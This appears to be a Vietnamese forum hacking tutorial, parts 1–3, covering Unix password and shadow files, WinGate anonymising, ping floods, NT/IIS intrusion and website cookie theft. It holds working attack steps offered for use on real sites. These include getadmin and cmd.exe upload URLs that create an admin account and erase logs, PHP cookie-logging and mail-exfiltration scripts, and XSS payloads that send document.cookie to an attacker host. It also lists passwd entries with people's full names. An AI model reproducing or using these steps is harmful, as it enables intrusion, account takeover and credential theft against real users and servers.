+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên
đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng crack
một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống
như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình
"CrackerJack" hoặc "John the Ripper" để crack .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để
bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó
khăn chỗ nào .
13 . ) shadowed password là cái gì ?
_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một
mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ *
” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi
mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay ,
dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file
shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt
những đường dẫn sau :
CODE
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #of username>/<username>
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure
http://wWw.Hack.Cf Page 126
maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20
Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào
hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ nó đã
hết hiệu lực rồI :
CODE
arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh
Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các
bạn hãy tìm hiểu thông tin có được từ chúng xem .
( (Hết phần 1 )
Còn rất nhiều định nghĩa cũng như thủ thuật hack và crack khác tôi muốn cùng chia
sẻ vớI các bạn , đặc biệt là các bạn Newbie . Tôi sẽ lần lượt post lên trong thời gian
tới , mong được sự đóng góp ý kiến của các bạn để những phần sau được viết hay
hơn .
Hãy nhớ , hack cũng là một nghệ thuật và rất cần sự ham thích học hỏi cũng như sự
kiên trì của các bạn . Sẽ có ngày các bạn cũng sẽ giỏI thôi . Chúc các bạn vui vẻ .
Bài viết của ANHDENDAY
Đây là phần 2
14 . ) Vitual port là gì ?
_ Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission Control
Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có
thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để
truyền và nhận dữ liệu. Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer,
FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP address là
127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt
http://wWw.Hack.Cf Page 127
được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì
thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là
21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân.... Người
quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một
máy chủ, bạn ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến
PORT MAPPING nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping
thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó
đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ
bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx
nhưng đã đuợc nguòi quản trị của host này "map" từ 80 thành 8080.
( Tài liệu của HVA )
15 . ) DNS là gì ?
_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng số
53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số
53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số tương
ứng và ngược lại. Ví dụ: 127.0.0.1 --> localhost và localhost--->127.0.0.1 .
( Tài liệu của HVA )
16 . ) Đôi điều về Wingate :
_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ:
bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy
khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên
cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > .
Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn
muốn kết nối vào. VD :
CODE
telnet wingate.net
WinGate> victim.com 23
ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP trên
máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó .
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang
tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems
có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những
máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và
scan Port 1080 .
+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn
có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy
nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả ,
bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ), nếu
nó xuất hiện dấu “Wingate >” thì bạn đã tìm đúng máy đang sử dụng Wingate rồI đó
http://wWw.Hack.Cf Page 128
.
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất
nhièu trên mạng .
17 . ) Đôi điều về Traceroute :
_ Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói
packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :
CODE
C:windows>tracert 203.94.12.54
Tracing route to 203.94.12.54 over a maximum of 30 hops
1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms
Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là
203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ
máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây
là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :
CODE
host2 # traceroute xyz.com
traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms
+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn
cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-
bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị
của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình
traceroute một ICMP message error "Time Exceeded". Traceroute sẽ gởi tiếp một
http://wWw.Hack.Cf Page 129
datagram đến hệ thống đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ
nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một
router, nó sẽ gởi trở lại cho traceroute một ICMP error message "Port Unreachable".
Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống
đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao
"*"(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname
( Tài liệu của viethacker.net )
18 . ) Ping và cách sử dụng :
_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng.
Tiểu sử của từ "ping" như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết
có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng
sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là "pong" vậy thì tàu ngầm đó
sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở
trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu
host đó "pong" lại có nghĩa là host đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng
có thể giúp chúng ta biêt được luợng thời gian một gói tin (data packet) đi từ máy
tính của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ "ping địa_chỉ_ip", mặc định sẽ ping 4
lần, nhưng bạn cũng có thể gõ
CODE
"ping ip.address -t"
Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:
CODE
"ping -l (size) địa_chỉ_ip "
Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói
tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ
của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là "trip
time"). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt
ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua
nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công
“ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn
hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một
modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt
ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút.
http://wWw.Hack.Cf Page 130
trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ
cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên
tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ
Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -
f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System
Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự,
bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có
tham số -f.
( Tài liệu của HVA và viethacker.net )
19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :
_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack ,
bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện
được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ' FTP <the company name>'. VD :
c:Ftp www.dodgyinc.com
( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix
chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :
CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):
Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên
Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra tên mà được
sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà dịch vụ FTP gán cho
nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta .
Nhập "anonymous” trong user nó sẽ xuất hiện dòng sau :
CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào
passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là
khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử
dụng “'Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :
CODE
http://wWw.Hack.Cf Page 131
Cd /c
Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy
nhanh chóng tìm thư mục 'cgi-bin' . Nếu như bạn may mắn , bạn sẽ tìm được dễ
dàng vì thông thường hệ thống quản lý đã đặt 'cgi-bin' vào nơi mà ta vừa xâm nhập
để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể
chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn
. Ta hãy bắt đầu “quậy” nào .
_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các
bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp
theo là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file
quan trọng nhất đó là 'getadmin.exe' và 'gasys.dll' . Download chúng xuống , một
khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong ,
bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :
http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY
Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :
CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP
headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!
Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn
hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :
http://www.dodgyinc.com/cgi-
bin/cmd.exe?/c%20c:winntsystem32net.exe%20user%20hacker%20toilahacker%
20/add
dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd :
toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần đánh
lên IE lệnh :
http://www.dodgyinc.com/cgi-bin/getadmin.exe?anhdenday
Vậy là xong rùi đó , bạn hãy disconnect và đến start menu -> find rồi search
computer 'www.dodgyinc.com'. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra
bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd :
toilahacker ) .
Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu
vết bạn hãy vào 'Winntsystem32logfiles' mở file log đó rồI xoá những thông tin liên
quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ
sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :
http://wWw.Hack.Cf Page 132
http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20date%2030/04/03
xong rồI bạn hãy xoá file 'getadmin.exe', và 'gasys.dll' từ 'cgi-bin' . Mục đích khi ta
xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một cách
hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ
thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về cách sử
dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây
là link : http://vnhacker.org/forum/?act=ST&f=6&t=11566&s=
Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account
của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì trong hệ
thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi đã
mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian
hơn .
Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của một
Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v…
GOOKLUCK !!!!!!
( (Hết phần 2 )
Bài viết của ANHDENDAY
Xin mạn phép đưa ra một vài bổ sung về phần IP.Mong anhdenday đừng giận.
1-Làm sao biết địa chỉ IP của mình trong mạng LAN ?
Rất đơn giản ,bạn thoát ra DOS : Start ->Programs -> Command Prompt.
C:windows>
Bạn đánh
C:windows>tracert PC1
(trong đó PC1 là tên máy tính của bạn)
Bạn sẽ được kết quả
Tracing route to COMPUTER1[192.168.0.1]
over a maximum of 30 hops:
1 <1 ms <1 ms <1 ms [192.168.0.1]
Trace complete.
198.168.0.1 chính là địa chỉ IP của bạn trong mạng LAN
Mỗi địa chỉ IP gồm 2 phần : 1 là địa chỉ mạng và 1 địa chỉ host . Tất cả các máy tính
http://wWw.Hack.Cf Page 133
trong 1 mạng có địa chỉ mạng giống nhau và trong khi địa chỉ host thì duy nhất với
chỉ 1 máy tính . Địa chỉ mạng có thể chiếm 1 đến 3 nhóm
Vd : vớI địa chỉ IP 192.168.0.1 thì
192.168.0 là địa chỉ mạng còn 1 là địa chỉ host . Các máy có thể cùng địa chỉ mạng
nhưng bắt buộc phảI khác địa chỉ host .
2-Làm sao để lấy được địa chỉ IP của một người , một website hay một máy tính
khác ?
*Giả sử bạn muốn lấy địa chỉ IP của www.yahoo.com . Bạn làm đơn giản như sau .
Thoát ra DOS . Bạn gõ
C:windows>ping www.yahoo.com
Pinging yahoo.com [216.115.108.245] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Here 216.115.108.245 is the ip address of www.yahoo.com
*Cũng như vậy, nếu bạn muốn lấy 1 địa chỉ IP của 1 máy tính tên PC2 trong 1 mạng
LAN bạn sẽ có được địa chỉ IP của PC2
C:windows>ping PC2
*Lấy IP của một người đang chat với mình :
-Sử dụng ICQ
Chỉ cần hỏi anh ta có đồng nối với bạn trên ICQ, nếu có sự trả lời có nghĩa kết nối đã
được thực hiện . Trong khi đang chat bạn tạm thoát ra DOS và gõ netstat -n và bạn
sẽ lấy được địa chỉ IP của anh ta . Nhưng bạn phải chắc chắn ràng bạn không sử
dụng bất kỳ 1 phần mềm nào liên kết với Internet khác bởi vì điều đó có thể cho bạn
nhiều địa chỉ IP gồm địa chỉ của anh ta và những dịch vụ bạn đang kết nối sẽ được
xuất ra khi gõ netstart -n (bài sau sẽ nói rõ hơn về các lệnh của netstart)
-Sử dụng MSN và YAHOO MESSENGERS
Trong trường hợp sử dụng các chương trình Yahoo hay MSN để chat. Nếu bạn sử
dụng lệnh netstart -n bạn sẽ không lấy được địa chỉ IP của người mình đang chat .
Chúng ta làm cách nào để lấy đây ??? Có một cách đó là . Bạn nói rằng bạn sẽ gửi
cho anh ta 1 bài nhạc rất hay hoặc là 1 thứ gì đó bằng cách SEND FILE . Nếu anh ta
đồng ý bạn hãy gửi cho anh ta 1 file mà anh ta thích . Trong khi file được gửi đi bạn
tạm thoát ra DOS và gõ lệnh netstart -n và bạn sẽ tìm thấy địa chỉ của anh ta vì khi
http://wWw.Hack.Cf Page 134
gửi 1 file thì sự kết nối của bạn và anh ta là trực tiếp không phải qua server của
Yahoo hay MSN xử lý
-Lấy địa chỉ IP của những người đến thăm website của bạn
Bạn có 1 website và bạn muốn lấy các địa chỉ IP của những người đến thăm website
của bạn. Bạn có thể viết 1 script trong mã trang HTML của website bạn như sau .
Chúng ta chí cần viết cho trang chính mà thôi
Đây là đoạn script mà bạn sẽ gắn vào trang web của bạn.
<HTML>
<HEAD>
<script LANGUAGE="JavaScript">
var ip = new java.net.InetAddress.getLocalHost();
var ipStr = new java.lang.String(ip);
document.writeln(ipStr.substring(ipStr.indexOf("/")+1));
</SCRIPT>
</HEAD>
Chú ý đoạn script này có thể không chạy trên 1 số trình brower (duyệt web)
Lời cảm ơn : Trước hết , tôi xin cảm ơn những tác giả mà tôi đã mượn bài viết của họ
để làm ý cho tôi hoàn thành những bài viết của mình , sau đó là cảm ơn đến anh
thesun đã động viên đến em , cảm ơn bạn Hackett và bạn vol2 đã bổ sung cho bài
viết của tôi đưọc hoàn chỉnh hơn . Tôi cũng đang rất cần những ý kiến quý báu đó
của các bạn để bổ sung làm hoàn chỉnh bài viết của mình , vậy bạn nào nếu có ý
kiến bổ sung hoặc phản bác lại thì cứ post bài lên nhé . Tôi rất mong
====================================================
Đây là phần 3
20 . ) Cookie là gì ?
_ Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và
browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text
(size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin
về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site. Những
thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói
quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy
mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những
thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site
đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan
đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay
phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại
các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các
thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa
http://wWw.Hack.Cf Page 135
đăng nhập, đoạt quyền điêu khiển site .
_ Cookies thường có các thành phần sau :
+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã
hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng
về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong
khoảng 4k.
( Tài liệu của Viethacker.net )
21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :
_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :
CODE
<?php
define ("LINE", "rn");
define ("HTML_LINE", "<br>");
function getvars($arr, $title)
{
$res = "";
$len = count($arr);
if ($len>0)
{
if (strlen($title)>0)
{
print("[--------$title--------]" . HTML_LINE);
$res .= "[--------$title--------]" . LINE;
}
foreach ($arr as $key => $value)
{
print("[$key]" . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= "[$key]" . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date("Y-m-d H:i:s");
// init
$myData = "[-----$now-----]" . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, "");
http://wWw.Hack.Cf Page 136
// file
$file = $REMOTE_ADDR . ".txt";
$mode = "r+";
if (!file_exists($file))
$mode = "w+";
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?>
hoặc
CODE
<?php
if ($contents && $header){
mail("victim@yahoo.com" , "from mail script",$contents,$header) or
die('couldnt email it');
sleep(2);
?>
<script language=javascript>
</script>
<?php
} else {
echo "nope";
}
(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .
Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn >.php ” ( Nhớ là phải có
.php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .(
Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có
nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu
có chứa đoạn mã này rồI tự động save thông tin đó thành file < ip của nạn nhân
>.txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix
, khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :
CODE
document.write('<img
src=http://host_php/abc.php?abc='+escape(document.cookie)+'>')
với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:
http://wWw.Hack.Cf Page 137
CODE
[img]javascript: Document.write('<img
src=http://host_php/docs.php?docs='+escape(document.cookie)+'>')[/img]
hoặc:
[
CODE
img]javascript: Document.write('&#x3cimg
src=http://host_php/docs.php?docs='+escape(document.cookie)+'&#x3e')[/img]
_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách
vào google.com tìm những forum bị lỗi này bằng từ khoá "Powered by …….. forum”
với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz .
Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực
hành , ai tìm được thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .
22 . ) Cách ngắt mật khẩu bảo vệ Website :
_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên
trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật
khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số
người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà
báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó
sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại
sao phải dùng dấu chấm ở trước trong tên file '.htaccess'? Các file có tên bắt đầu là
một dấu chấm '.' sẽ được các web servers xem như là các file cấu hình. Các file này
sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess
.Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn
xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc
mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở
ra . Bạn hãy nhìn VD sau :
CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f
Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ?
Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng
không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong
cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng
không dại gì mà cố gắng đột nhập rồi crack mớ mật khẩu chết tiệt đó ( khi chưa có
đồ nghề crack mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập
